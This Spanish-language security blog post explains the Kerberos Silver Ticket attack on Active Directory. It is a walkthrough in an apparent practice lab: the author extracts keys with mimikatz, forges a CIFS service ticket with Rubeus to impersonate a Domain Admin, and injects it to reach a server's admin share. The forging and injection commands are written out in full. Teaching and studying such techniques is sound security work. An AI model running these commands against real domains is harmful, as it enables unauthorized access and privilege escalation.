Tickets Kerberos - Silver Ticket

Tickets Kerberos - Silver Ticket


Continuando con las entregas de Tickets de Kerberos, en publicaciones pasadas hemos hablado sobre el Golden Ticket, en esta ocasión estaremos hablando del Silver Ticket.

SILVER TICKET

El ataque Silver Ticket implica la creación de un Ticket Granting Service (TGS), que permite a los atacantes obtener acceso a un servicio específico en un entorno de Active Directory sin la necesidad de autenticarse a través del controlador de dominio (Key Distribution Center, KDC).

Este método se basa en adquirir el hash NTLM o contraseña de una cuenta de servicio, para falsificar un Ticket Granting Service (TGS). Estas credenciales se pueden obtener de distintas maneras durante el ataque al Dominio, como por ejemplo por medio de herramientas como Responder o mediante técnicas de Kerberoasting. Tras la creación de este ticket falsificado, un atacante puede acceder al servicio específico, haciéndose pasar por cualquier usuario y, por lo general, con el objetivo de obtener privilegios administrativos.

Si en lugar de obtener las credenciales en texto claro o hash NTLM, se pudieran obtener las claves AES (por ejemplo, mediante un volcado de memoria), se recomienda el uso de estas claves AES para la creación de los tickets, ya que es una manera más segura y menos detectable.

Explotación:

En primer lugar, vamos a asumir que hemos obtenido una sesión como SYSTEM en una máquina del dominio. Esto por ejemplo ha podido suceder tras comprometer un servidor IIS y una posterior escalada de privilegios haciendo uso de un Potato exploit.

Tras obtener el control del servidor, podemos obtener las claves de Kerberos con mimikatz y el comando sekurlsa::ekeys



Creación del ticket

Una vez obtenidas las claves de Kerberos, podemos crear un ticket para el servicio CIFS del propio servidor, el cual nos garantizará acceso al mismo como el usuario del dominio que queramos. En este caso crearemos el ticket con el comando:

Rubeus.exe silver /service:cifs/castelblack.nort.sevenkingdoms.local /aes256: 0ad6c98bbba174b0b2f8d9a05279fe6892cef5f0e1bab59e01b5510e9920774d /user: eddard.stark /domain:north.sevenkingdoms.local /sid: S-1-5-21-1430251130-2586379517-4083755373 /nowrap



  • Service: Nombre del servicio al que se solicitará el ticket
  • Aes256: Clave aes256 de la cuenta de máquina extraída anteriormente
  • User: Usuario a impersonalizar, en este caso un Domain Admin
  • Domain: Nombre del dominio
  • Sid: SID del dominio

Importar el ticket

Una vez obtenido el ticket, podemos comprobar que no tenemos acceso de administración al servidor desde nuestra consola de usuario no privilegiado.

ls \\castelblack.north.sevenkingdoms.local\C$



El siguiente paso será importar el ticket generado anteriormente en un nuevo proceso. Esto se puede conseguir con el comando:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username: eddard.stark /password:PassFake /ticket: doIGGDCC[…]b2NhbA==


  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario.
  • Ticket: El ticket creado anteriormente
Tras la creación del proceso con nuestro Silver Ticket, ya podremos acceder al servidor en cuestión mediante el servicio CIFS desde nuestra sesión de usuario no privilegiado.
ls \\castelblack.north.sevenkingdoms.local\c$


Limitaciones:

Un Silver Ticket es válido solo para el servicio específico para el cual fue creado. No permite acceso a otros servicios o recursos.

Y con esto finalizamos el post, en ese sentido ahora sabemos sobre el Silver Ticket y el Golden Ticket, queda pendiente una entrega más sobre estos tickets de kerberos. Hasta el próximo ticket.

Álvaro Temes, analísta de ciberseguridad en Zerolynx.

return to blog

Leave a comment

Please note that comments must be approved before they are published.